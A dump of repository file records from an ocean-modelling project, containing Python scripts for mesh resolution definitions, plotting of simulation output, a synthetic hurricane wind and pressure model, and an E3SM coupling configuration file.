"max_line_length": 119, "num_lines": 28, "path": "/testing_and_setup/compass/ocean/global_ocean/HI120to12/build_mesh/define_base_mesh.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n'''\nname: define_base_mesh\nauthors: Phillip J. Wolfram\n\nThis function specifies a high resolution patch for \nChris Jeffrey.\n\n'''\nimport numpy as np\n\ndef cellWidthVsLatLon():\n lat = np.arange(-90, 90.01, 1.0)\n lon = np.arange(-180, 180.01, 2.0)\n\n km = 1000.0\n # in kms\n baseRes = 120.0\n highRes = 12.0\n latC = 20.0\n lonC = -155.0\n rad = 10.0\n\n theta = np.minimum(np.sqrt(((lat-latC)*(lat-latC))[:,np.newaxis] + ((lon-lonC)*(lon-lonC))[np.newaxis,:])/rad, 1.0)\n\n cellWidth = (baseRes*theta + (1.0-theta)*highRes)*np.ones((lon.size,lat.size))\n\n return cellWidth, lon, lat\n" }, { "alpha_fraction": 0.5669291615486145, "alphanum_fraction": 0.5901137590408325, "avg_line_length": 34.71875, "blob_id": "a24f8b30645b6c3d3b73893984e0f2526b43cade", "content_id": "7ae696f1bb72a09cfeb6a8fb0e3de93d12b1c2e0", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2286, "license_type": "permissive", "max_line_length": 89, "num_lines": 64, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/plot_winds_on_mpaso_mesh.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "# Author: Steven Brus\n# Date: April, 2020\n# Description: Plots syntetic wind/pressure timeseries on MPAS-O mesh\n\nimport netCDF4\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport cartopy\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nplt.switch_backend('agg')\ncartopy.config['pre_existing_data_dir'] = \\\n os.getenv('CARTOPY_DIR', cartopy.config.get('pre_existing_data_dir'))\n\n#######################################################################\n#######################################################################\n\ndef plot_data(lon_grid,lat_grid,data,var_label,var_abrev,time):\n\n fig = plt.figure()\n ax1 = fig.add_subplot(1,1,1,projection=ccrs.PlateCarree())\n levels = np.linspace(np.amin(data),np.amax(data),100)\n cf = ax1.tricontourf(lon_grid,lat_grid,data,levels=levels,transform=ccrs.PlateCarree())\n ax1.set_extent([0, 359.9, -90, 90], crs=ccrs.PlateCarree())\n ax1.add_feature(cfeature.LAND, zorder=100)\n ax1.add_feature(cfeature.LAKES, alpha=0.5, zorder=101)\n ax1.add_feature(cfeature.COASTLINE, zorder=101)\n ax1.set_title('interpolated data '+time.strip())\n cbar = fig.colorbar(cf,ax=ax1)\n cbar.set_label(var_label)\n \n # Save figure\n fig.tight_layout()\n fig.savefig(var_abrev+'_'+str(i).zfill(4)+'.png',box_inches='tight')\n plt.close()\n\n#######################################################################\n#######################################################################\n\nif __name__ == '__main__':\n \n grid_file = 'mesh.nc'\n data_file = 'out.nc'\n\n grid_nc = netCDF4.Dataset(grid_file,'r')\n lon_grid = grid_nc.variables['lonCell'][:]*180.0/np.pi\n lat_grid = grid_nc.variables['latCell'][:]*180.0/np.pi\n\n data_nc = netCDF4.Dataset(data_file,'r')\n u_data = data_nc.variables['windSpeedU'][:]\n v_data = data_nc.variables['windSpeedV'][:]\n p_data = data_nc.variables['atmosPressure'][:]\n xtime = data_nc.variables['xtime'][:]\n\n for i in range(u_data.shape[0]-1):\n\n print('Plotting vel: '+str(i))\n\n data = np.sqrt(np.square(u_data[i,:]) + np.square(v_data[i,:]))\n time_ls = [x.decode(\"utf-8\") for x in xtime[i]]\n time = ''.join(time_ls)\n plot_data(lon_grid,lat_grid,data,'velocity magnitude','vel',time)\n plot_data(lon_grid,lat_grid,p_data[i,:],'atmospheric pressure','pres',time)\n" }, { "alpha_fraction": 0.678787887096405, "alphanum_fraction": 0.7060605883598328, "avg_line_length": 19.625, "blob_id": "5a95e5e10bf7bed759ab1211b91a2bf080be9384", "content_id": "7cd34018021c720942b4bd19e19f7be323df4d55", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 660, "license_type": "permissive", "max_line_length": 70, "num_lines": 32, "path": "/testing_and_setup/compass/ocean/surface_waves/analysis/comparison.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"\n\nTidal channel comparison betewen MPAS-O and analytical forcing result.\n\nPhillip J. Wolfram\n04/12/2019\n\n\"\"\"\n\nimport numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\n\n# render statically by default\nplt.switch_backend('agg')\n\n# analytical case\nx = np.linspace(0,24,100)\ny = np.sin(x*2*np.pi/24)\nplt.plot(x,y, lw=3, color='black', label='analytical')\n\n# data from MPAS-O on boundary\nds = xr.open_mfdataset('output.nc')\nmask = ds.where(ds.yCell.values.min() == ds.yCell)\nmask.ssh.mean('nCells').plot(marker='o', label='MPAS-O')\n\nplt.legend()\nplt.ylabel('ssh amplitude (m)')\nplt.xlabel('Time (min)')\n\nplt.savefig('tidalcomparison.png')\n" }, { "alpha_fraction": 0.7454466819763184, "alphanum_fraction": 0.7836079597473145, "avg_line_length": 29.746665954589844, "blob_id": "5502d2f9b7592fbf2a2f10ed39708951c13e437c", "content_id": "b8005d85b776a6a8a1e6d07fc45ee30077b6a95a", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 2306, "license_type": "permissive", "max_line_length": 171, "num_lines": 75, "path": "/testing_and_setup/compass/ocean/global_ocean/scripts/config_E3SM_coupling_files.ini", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "[main]\nmesh_name = autodetect\ndate_string = autodetect\nnprocs = 36\natm_scrip_path = /lustre/scratch3/turquoise/mpeterse/E3SM/input_data/share/scripgrids\n# compiled executable gen_domain, code in E3SM repo:\ndomain_exe = /usr/projects/climate/mpeterse/repos/E3SM/compiled_cime_tools/cime/tools/mapping/gen_domain_files/src/gen_domain\n\n[initial_condition_ocean]\nenable = true\n\n[graph_partition_ocean]\nenable = true\n\n[initial_condition_seaice]\nenable = true\n\n[scrip]\nenable = true\n\n[transects_and_regions]\nenable = true\n\n[mapping_analysis]\nenable = true\n# The comparison lat/lon grid resolution in degrees\ncomparisonLatResolution = 0.5\ncomparisonLonResolution = 0.5\n\n# The comparison Antarctic polar stereographic grid size and resolution in km\ncomparisonAntarcticStereoWidth = 6000.\ncomparisonAntarcticStereoResolution = 10.\n\n# The comparison Arctic polar stereographic grid size and resolution in km\ncomparisonArcticStereoWidth = 6000.\ncomparisonArcticStereoResolution = 10.\n\n[mapping_CORE_Gcase]\nenable = true\natm_scrip_tag = T62_040121\n\n[mapping_JRA_Gcase]\nenable = false\n# need to add complete name here:\natm_scrip_tag = JRA025\n\n[mapping_ne30]\nenable = false\n# need to add complete name here:\natm_scrip_tag = ne30\n\n[domain_CORE_Gcase]\nenable = true\n\n[domain_JRA_Gcase]\nenable = false\n\n[domain_ne30]\nenable = false\n\n[mapping_runoff]\n# WARNING: This works, but uses a version of runoff_map in cime at\n# cime/tools/mapping/gen_mapping_files/runoff_to_ocn\n# This needs to be replaced with a newer version\n# -- Mark Petersen Jan 2020\nenable = false\nrunoff_map_exe = /usr/projects/climate/mpeterse/repos/E3SM/compiled_cime_tools/cime/tools/mapping/gen_mapping_files/runoff_to_ocn/src/runoff_map\nrunoff_map_lnd_file = /lustre/scratch3/turquoise/mpeterse/E3SM/input_data/lnd/dlnd7/RX1/runoff.daitren.annual.090225.nc\n\n[salinity_restoring]\nenable = true\n# This file needs to be added to a standard repo. Local copy for now:\ngrid_Levitus_1x1_scrip_file = /usr/projects/climate/mpeterse/mapping_files/test_SSS_mapping_190821/EC60to30Rev4/genRemapFiles/grid_Levitus_1x1_scrip.nc\n# This file needs to be added to a standard repo. Local copy for now:\nsalinity_restoring_input_file = /usr/projects/climate/mpeterse/mapping_files/test_SSS_mapping_190821/EC60to30Rev4/interpSSS/PHC2_salx.2004_08_03.filled_double_precision.nc\n" }, { "alpha_fraction": 0.5869418382644653, "alphanum_fraction": 0.6119756698608398, "avg_line_length": 32.59090805053711, "blob_id": "62fd94dc6e90d29ac6a32efd54d268b6591f0893", "content_id": "3e7c13df38a416f0a5a77624f558b0e879bd66c2", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2956, "license_type": "permissive", "max_line_length": 79, "num_lines": 88, "path": "/testing_and_setup/compass/ocean/global_ocean/SO60to10wISC/init/define_base_mesh.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import numpy as np\nimport jigsaw_to_MPAS.mesh_definition_tools as mdt\nfrom jigsaw_to_MPAS.coastal_tools import signed_distance_from_geojson, \\\n compute_cell_width\nfrom geometric_features import read_feature_collection\nimport xarray\n\n# Uncomment to plot the cell size distribution.\n# import matplotlib\n# matplotlib.use('Agg')\n# import matplotlib.pyplot as plt\n\n\ndef cellWidthVsLatLon():\n \"\"\"\n Create cell width array for this mesh on a regular latitude-longitude grid.\n Returns\n -------\n cellWidth : numpy.ndarray\n m x n array, entries are desired cell width in km\n lat : numpy.ndarray\n latitude, vector of length m, with entries between -90 and 90,\n degrees\n lon : numpy.ndarray\n longitude, vector of length n, with entries between -180 and 180,\n degrees\n \"\"\"\n dlon = 0.1\n dlat = dlon\n nlon = int(360./dlon) + 1\n nlat = int(180./dlat) + 1\n lon = np.linspace(-180., 180., nlon)\n lat = np.linspace(-90., 90., nlat)\n\n cellWidthSouth = 30. * np.ones((len(lat)))\n\n # Transition at Equator\n cellWidthNorth = mdt.EC_CellWidthVsLat(lat)\n latTransition = 0.0\n latWidthTransition = 5.0\n cellWidthVsLat = mdt.mergeCellWidthVsLat(\n lat,\n cellWidthSouth,\n cellWidthNorth,\n latTransition,\n latWidthTransition)\n\n _, cellWidth = np.meshgrid(lon, cellWidthVsLat)\n\n # now, add the high-res region\n fc = read_feature_collection('high_res_region.geojson')\n\n signed_distance = signed_distance_from_geojson(fc, lon, lat,\n max_length=0.25)\n\n da = xarray.DataArray(signed_distance,\n dims=['y', 'x'],\n coords={'y': lat, 'x': lon},\n name='signed_distance')\n cw_filename = 'signed_distance.nc'\n da.to_netcdf(cw_filename)\n\n # multiply by 5 because transition_width gets multiplied by 0.2 in\n # compute_cell_width\n # Equivalent to 10 degrees latitude\n trans_width = 5*1100e3\n # The last term compensates for the offset in compute_cell_width.\n # The middle of the transition is ~2.5 degrees (300 km) south of the\n # region boundary to best match previous transition at 48 S. (The mean lat\n # of the boundary is 45.5 S.)\n trans_start = -300e3 - 0.5 * trans_width\n dx_min = 10.\n\n cellWidth = compute_cell_width(signed_distance, cellWidth, lon,\n lat, dx_min, trans_start, trans_width,\n restrict_box={'include': [], 'exclude': []})\n\n # Uncomment to plot the cell size distribution.\n # Lon, Lat = np.meshgrid(lon, lat)\n # ax = plt.subplot(111)\n # plt.pcolormesh(Lon, Lat, cellWidth)\n # plt.colorbar()\n # ax.set_aspect('equal')\n # ax.autoscale(tight=True)\n # plt.tight_layout()\n # plt.savefig('cellWidthVsLat.png', dpi=200)\n\n return cellWidth, lon, lat\n" }, { "alpha_fraction": 0.5144508481025696, "alphanum_fraction": 0.5568400621414185, "avg_line_length": 29.52941131591797, "blob_id": "8be5b9ff5254fbb97a9f0ca4bd65532fff6eaab7", "content_id": "6cd0b88b5021646ffcc9c8c14d9c37bcf632e828", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1038, "license_type": "permissive", "max_line_length": 84, "num_lines": 34, "path": "/testing_and_setup/compass/ocean/internal_waves/5km/rpe_test/plot.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import numpy\nfrom netCDF4 import Dataset\nimport matplotlib.pyplot as plt\nimport matplotlib\nmatplotlib.use('Agg')\n\nfig = plt.gcf()\nnRow = 4\nnCol = 2\nnu = ['0.01', '1', '15', '150']\niTime = [1, 2]\ntime = ['day 10', 'day 20']\n\nfig, axs = plt.subplots(nRow, nCol, figsize=(\n 4.0 * nCol, 3.7 * nRow), constrained_layout=True)\n\nfor iRow in range(nRow):\n ncfile = Dataset('output_' + str(iRow + 1) + '.nc', 'r')\n var = ncfile.variables['temperature']\n xtime = ncfile.variables['xtime']\n for iCol in range(nCol):\n ax = axs[iRow, iCol]\n dis = ax.imshow(var[iTime[iCol], 0::4, :].T, extent=[\n 0, 250, 500, 0], aspect='0.5', cmap='jet', vmin=10, vmax=20)\n if iRow == nRow - 1:\n ax.set_xlabel('x, km')\n if iCol == 0:\n ax.set_ylabel('depth, m')\n if iCol == nCol - 1:\n fig.colorbar(dis, ax=axs[iRow, iCol], aspect=10)\n ax.set_title(time[iCol] + \", \" + r\"$\\nu_h=$\" + nu[iRow])\n ncfile.close()\n\nplt.savefig('sections_internal_waves.png')\n" }, { "alpha_fraction": 0.5331858396530151, "alphanum_fraction": 0.5907079577445984, "avg_line_length": 28.161291122436523, "blob_id": "d1c17cfd00ee87a1499a12071e22a9bb65ef0bba", "content_id": "3b102cb6398e449a9d8cf518405f9a9b15c25ae7", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 904, "license_type": "permissive", "max_line_length": 81, "num_lines": 31, "path": "/testing_and_setup/compass/ocean/overflow/1km/rpe_test/plot.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom netCDF4 import Dataset\nimport numpy\n\nfig = plt.gcf()\nfig.set_size_inches(8.0,10.0)\nnRow=1 #6\nnCol=2\nnu=['0.01','0.1','1','10','100','1000']\niTime=[3,6]\ntime=['3 hrs','6 hrs']\nfor iRow in range(nRow):\n ncfile = Dataset('output_'+str(iRow+1)+'.nc','r')\n var = ncfile.variables['temperature']\n xtime = ncfile.variables['xtime']\n for iCol in range(nCol):\n plt.subplot(nRow, nCol, iRow*nCol+iCol+1) \n ax = plt.imshow(var[iTime[iCol],0::4,:].T,extent=[0,200,2000,0],aspect=2)\n plt.clim([10,20])\n plt.jet()\n if iRow==nRow-1:\n plt.xlabel('x, km')\n if iCol==0:\n plt.ylabel('depth, m')\n plt.colorbar()\n #print(xtime[iTime[iCol],11:13])\n plt.title('time='+time[iCol]+', nu='+nu[iRow])\n ncfile.close()\nplt.savefig('sections_overflow.png')\n" }, { "alpha_fraction": 0.6673209071159363, "alphanum_fraction": 0.6967615485191345, "avg_line_length": 38.19230651855469, "blob_id": "5d2e2665e564db0056bad1a050314794f7486f27", "content_id": "a1241f3e6ea1dd6f4ff08f1a06d63a8d9342a29a", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1019, "license_type": "permissive", "max_line_length": 76, "num_lines": 26, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/tests/hurricane/test_hurricane.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import pytest\nfrom hurricane_model.hurricane import Hurricane\n\ndef test_hurricane():\n center = [1.0,2.0] # Position of the eye (lon,lat) in decimal degrees.\n extent = 100.0 # The maximum extent of the hurricane in kilometers.\n vforward = [3.0, 4.0] # Forward velocity [ve, vn] in km/hr.\n pcentral = 200.0 # Central pressure in millibars.\n deltap = 50.0 # Pressure difference in millibars.\n vmax = 15.0 # The maximum gradient wind speed in km/hr.\n b = 1.2 # The Holland parameter, conventionally in the range [0.5,2.5].\n\n hurricane = Hurricane(center,extent)\n hurricane.setVForward(vforward[0],vforward[1])\n hurricane.setPCentral(pcentral)\n hurricane.setDeltaP(deltap)\n hurricane.setVMax(vmax)\n hurricane.setB(b)\n\n assert hurricane.center == center\n assert hurricane.extent == extent\n assert hurricane.vforward == vforward\n assert hurricane.pcentral == pcentral\n assert hurricane.deltap == deltap\n assert hurricane.vmax == vmax\n assert hurricane.b == b\n" }, { "alpha_fraction": 0.36486485600471497, "alphanum_fraction": 0.4054054021835327, "avg_line_length": 13.399999618530273, "blob_id": "ff8aae1f37d4c032430e4410b6b47adb84aa67e4", "content_id": "98692fa172110d3f6676eed8d09078fc7e9f45b2", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 74, "license_type": "permissive", "max_line_length": 17, "num_lines": 5, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/utils/math.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "\ndef sign(x):\n if(x>=0):\n return 1\n else:\n return -1\n\n" }, { "alpha_fraction": 0.43189963698387146, "alphanum_fraction": 0.5053763389587402, "avg_line_length": 17.566667556762695, "blob_id": "a108a16f8e287e3fe3e82e6bafcbf2a5650607d8", "content_id": "d22a806b0cc51a999668be90ec2318f1cd25e61b", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 558, "license_type": "permissive", "max_line_length": 50, "num_lines": 30, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/ad_hoc/simple_vector_example.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ndef example():\n x,y = np.linspace(-1,1,2), np.linspace(-1,1,2)\n A, B = np.zeros((2,2)), np.zeros((2,2))\n A[0,0]=1\n B[0,0]=-1\n A[0,1]=1\n B[0,1]=1\n A[1,0]=-1\n B[1,0]=-1\n A[1,1]=-1\n B[1,1]=1\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n\n # Plot the streamlines.\n ax.streamplot(x,y,A,B)\n\n ax.set_xlabel('$x$')\n ax.set_ylabel('$y$')\n ax.set_xlim(-2,2)\n ax.set_ylim(-2,2)\n ax.set_aspect('equal')\n plt.show()\n\nif __name__=='__main__':\n example()\n\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.75, "avg_line_length": 16, "blob_id": "dc0f0f5a5fa50606d5e267e1e08623f0001bf38c", "content_id": "b40167a8a1abffec20ce57292c19dc60d9bae9f0", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16, "license_type": "permissive", "max_line_length": 16, "num_lines": 1, "path": "/testing_and_setup/compass/ocean/drying_slope/zstar_variableCd/1km/analysis/comparison.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "../comparison.py" }, { "alpha_fraction": 0.6457109451293945, "alphanum_fraction": 0.6662749648094177, "avg_line_length": 34.45833206176758, "blob_id": "7599b5eb59a35ce3ce839df39687be2e89d2135c", "content_id": "2c468b20c6e68ae21069463d71cb9affa5c666be", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1702, "license_type": "permissive", "max_line_length": 92, "num_lines": 48, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/winds_io/output_data.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import netCDF4 \nimport numpy as np\nimport hurricane_model as Hurricane\nimport structures as Geogrid\nimport winds_io as WindModel\nimport matplotlib.pyplot as plt\nimport datetime\n\ndef write_netcdf(filename: str, curr_hurricane: Hurricane, grid: Geogrid, winds: WindModel):\n # http://unidata.github.io/netcdf4-python/#section1\n rootgrp = netCDF4.Dataset(filename, \"w\", format=\"NETCDF3_64BIT_OFFSET\")\n\n # Declare dimensions\n rootgrp.createDimension('nCells',grid.ncells)\n rootgrp.createDimension('StrLen',64)\n rootgrp.createDimension('Time',None)\n\n # Declare variables\n time = rootgrp.dimensions['Time'].name\n ncells = rootgrp.dimensions['nCells'].name\n time_var = rootgrp.createVariable('xtime','S1',('Time','StrLen'))\n u_var = rootgrp.createVariable('windSpeedU',np.float64,(time,ncells))\n v_var = rootgrp.createVariable('windSpeedV',np.float64,(time,ncells))\n pres_var = rootgrp.createVariable('atmosPressure',np.float64,(time,ncells))\n\n # Format time\n ref_date = curr_hurricane[0].ref_time \n xtime = []\n for it in range(0,len(curr_hurricane)):\n t = curr_hurricane[it].time\n date = ref_date + datetime.timedelta(hours=np.float64(t))\n xtime.append(date.strftime('%Y-%m-%d_%H:%M:%S'+45*' '))\n xtime = np.asarray(xtime)\n xtime_list = []\n for t in xtime:\n xtime_list.append(list(t))\n time_var[:] = xtime_list\n\n # Assign variables\n kmh_to_mps = 0.277778\n mbar_to_pa = 100.0\n for it in range(0, len(curr_hurricane)-1):\n u_var[it, :] = winds[it].u * kmh_to_mps\n v_var[it, :] = winds[it].v * kmh_to_mps\n pres_var[it, :] = winds[it].pressure_profile * mbar_to_pa\n\n # Close\n rootgrp.close()\n" }, { "alpha_fraction": 0.6796610355377197, "alphanum_fraction": 0.6830508708953857, "avg_line_length": 32.21126937866211, "blob_id": "ede8013485f7a12689514a603d56fc7eb68c653b", "content_id": "214aec8e209b5f346b11154ed6e6f7dac39b2577", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2360, "license_type": "permissive", "max_line_length": 104, "num_lines": 71, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/main.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "from winds_io import import_data\nfrom winds_io import output_data\nfrom structures import geogrid\nimport sys\nimport numpy as np\nfrom winds import parameters\nfrom winds import wind_model\n\ndef sim_hurricane():\n # Read in the input file to check which grid we are using\n print('Import user inputs')\n traj_filename, grid_flag, grid_filename, ambient_pressure, holland_b_param = \\\n import_data.read_input_file('hurricane_inputs.txt')\n\n # Read grid-specific parameters and create grid\n print('Read-in grid')\n grid = import_data.initialize_grid(grid_filename, grid_flag)\n\n # Read hurricane trajectory and set hurricane parameters\n print('Initialize hurricane trajectory data')\n curr_hurricane = import_data.initialize_hurricane(traj_filename, ambient_pressure, holland_b_param)\n\n # Define parameters\n print('Define parameters')\n params = define_params(curr_hurricane)\n\n # Compute winds on grid\n print('Compute winds')\n winds = compute_winds(curr_hurricane, params, grid)\n\n # Output results\n print('Output results')\n output_data.write_netcdf('out.nc', curr_hurricane, grid, winds)\n\ndef compute_winds(curr_hurricane, params, grid: geogrid):\n ntimes = len(curr_hurricane) - 1\n mywinds = []\n for it in range(0, ntimes):\n print('Time iteration %d / %d' % (it + 1, len(curr_hurricane) - 1))\n mywinds.append(wind_model.WindModel(params, curr_hurricane[it], grid))\n\n return mywinds\n\ndef define_params(curr_hurricane):\n lat = []\n for i in range(0, len(curr_hurricane)):\n lat.append(curr_hurricane[i].center[1])\n return parameters.Parameters(np.mean(lat))\n\n\nif __name__ == \"__main__\":\n sim_hurricane()\n\n print('Program executed succesfully')\n sys.exit(0)\n # # Read in the input file to check which grid we are using\n # traj_filename, grid_flag, grid_filename = import_data.read_input_file('hurricane_inputs.txt')\n #\n # # Read hurricane trajectory\n # traj = import_data.read_json(traj_filename)\n #\n # # Create trajectory object\n # curr_hurricane = initialize_hurricane(traj)\n #\n # # Read grid-specific parameters\n # if grid_flag == 1:\n # xll, yll, cellsize, numcells_lat, numcells_lon = import_data.read_raster_inputs(grid_filename)\n # else:\n # coord = import_data.read_netcdf(grid_filename)\n\n # Create the grid\n\n\n" }, { "alpha_fraction": 0.579226016998291, "alphanum_fraction": 0.586527943611145, "avg_line_length": 35.27814483642578, "blob_id": "c0bdfdde743159fa2c4c55ea4b047e6e6b59adf9", "content_id": "3ee781ad8b1d3bf6f63febc88f8183e81eada3f2", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5478, "license_type": "permissive", "max_line_length": 83, "num_lines": 151, "path": "/testing_and_setup/compass/ocean/jigsaw_to_MPAS/build_mesh.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"\nThis script performs the first step of initializing the global ocean. This\nincludes:\nStep 1. Build cellWidth array as function of latitude and longitude\nStep 2. Build mesh using JIGSAW\nStep 3. Convert triangles from jigsaw format to netcdf\nStep 4. Convert from triangles to MPAS mesh\nStep 5. Create vtk file for visualization\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function, \\\n unicode_literals\n\nimport subprocess\nimport os\nimport xarray\nimport argparse\nimport matplotlib.pyplot as plt\n\nfrom mpas_tools.conversion import convert\nfrom mpas_tools.io import write_netcdf\n\nfrom jigsaw_to_MPAS.jigsaw_driver import jigsaw_driver\nfrom jigsaw_to_MPAS.triangle_jigsaw_to_netcdf import jigsaw_to_netcdf\nfrom jigsaw_to_MPAS.inject_bathymetry import inject_bathymetry\nfrom jigsaw_to_MPAS.inject_meshDensity import inject_meshDensity\nfrom jigsaw_to_MPAS.inject_preserve_floodplain import \\\n inject_preserve_floodplain\n\nfrom define_base_mesh import define_base_mesh\n\n\ndef build_mesh(\n preserve_floodplain=False,\n floodplain_elevation=20.0,\n do_inject_bathymetry=False,\n geometry='sphere',\n plot_cellWidth=True):\n\n if geometry == 'sphere':\n on_sphere = True\n else:\n on_sphere = False\n\n print('Step 1. Build cellWidth array as function of horizontal coordinates')\n if on_sphere:\n cellWidth, lon, lat = define_base_mesh.cellWidthVsLatLon()\n da = xarray.DataArray(cellWidth,\n dims=['lat', 'lon'],\n coords={'lat': lat, 'lon': lon},\n name='cellWidth')\n cw_filename = 'cellWidthVsLatLon.nc'\n da.to_netcdf(cw_filename)\n plot_cellWidth=True\n if plot_cellWidth:\n import matplotlib\n from cartopy import config\n import cartopy.crs as ccrs\n matplotlib.use('Agg')\n fig = plt.figure()\n fig.set_size_inches(16.0, 8.0)\n plt.clf()\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.set_global()\n im = ax.imshow(cellWidth, origin='lower', transform=ccrs.PlateCarree(\n ), extent=[-180, 180, -90, 90], cmap='jet')\n ax.coastlines()\n gl = ax.gridlines(\n crs=ccrs.PlateCarree(),\n draw_labels=True,\n linewidth=1,\n color='gray',\n alpha=0.5,\n linestyle='-')\n gl.xlabels_top = False\n gl.ylabels_right = False\n plt.title('Grid cell size, km')\n plt.colorbar(im, shrink=.60)\n plt.savefig('cellWidthGlobal.png')\n\n else:\n cellWidth, x, y, geom_points, geom_edges = define_base_mesh.cellWidthVsXY()\n da = xarray.DataArray(cellWidth,\n dims=['y', 'x'],\n coords={'y': y, 'x': x},\n name='cellWidth')\n cw_filename = 'cellWidthVsXY.nc'\n da.to_netcdf(cw_filename)\n\n print('Step 2. Generate mesh with JIGSAW')\n if on_sphere:\n jigsaw_driver(cellWidth, lon, lat)\n else:\n jigsaw_driver(\n cellWidth,\n x,\n y,\n on_sphere=False,\n geom_points=geom_points,\n geom_edges=geom_edges)\n\n print('Step 3. Convert triangles from jigsaw format to netcdf')\n jigsaw_to_netcdf(msh_filename='mesh-MESH.msh',\n output_name='mesh_triangles.nc', on_sphere=on_sphere)\n\n print('Step 4. Convert from triangles to MPAS mesh')\n write_netcdf(convert(xarray.open_dataset('mesh_triangles.nc')),\n 'base_mesh.nc')\n\n print('Step 5. Inject correct meshDensity variable into base mesh file')\n inject_meshDensity(cw_filename=cw_filename,\n mesh_filename='base_mesh.nc', on_sphere=on_sphere)\n\n if do_inject_bathymetry:\n print('Step 6. Injecting bathymetry')\n inject_bathymetry(mesh_file='base_mesh.nc')\n\n if preserve_floodplain:\n print('Step 7. Injecting flag to preserve floodplain')\n inject_preserve_floodplain(mesh_file='base_mesh.nc',\n floodplain_elevation=floodplain_elevation)\n\n print('Step 8. Create vtk file for visualization')\n args = ['paraview_vtk_field_extractor.py',\n '--ignore_time',\n '-l',\n '-d', 'maxEdges=0',\n '-v', 'allOnCells',\n '-f', 'base_mesh.nc',\n '-o', 'base_mesh_vtk']\n print(\"running\", ' '.join(args))\n subprocess.check_call(args, env=os.environ.copy())\n\n print(\"***********************************************\")\n print(\"** The global mesh file is base_mesh.nc **\")\n print(\"***********************************************\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--preserve_floodplain', action='store_true')\n parser.add_argument('--floodplain_elevation', action='store',\n type=float, default=20.0)\n parser.add_argument('--inject_bathymetry', action='store_true')\n parser.add_argument('--geometry', default='sphere')\n parser.add_argument('--plot_cellWidth', action='store_true')\n cl_args = parser.parse_args()\n build_mesh(cl_args.preserve_floodplain, cl_args.floodplain_elevation,\n cl_args.inject_bathymetry, cl_args.geometry,\n cl_args.plot_cellWidth)\n" }, { "alpha_fraction": 0.5668631792068481, "alphanum_fraction": 0.5730685591697693, "avg_line_length": 35.21348190307617, "blob_id": "8d86ad7e611bb55bf40c4dd24b2f61d007b0b276", "content_id": "83ba15e484c67e2d396445aec61709b1244a0f2a", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3223, "license_type": "permissive", "max_line_length": 117, "num_lines": 89, "path": 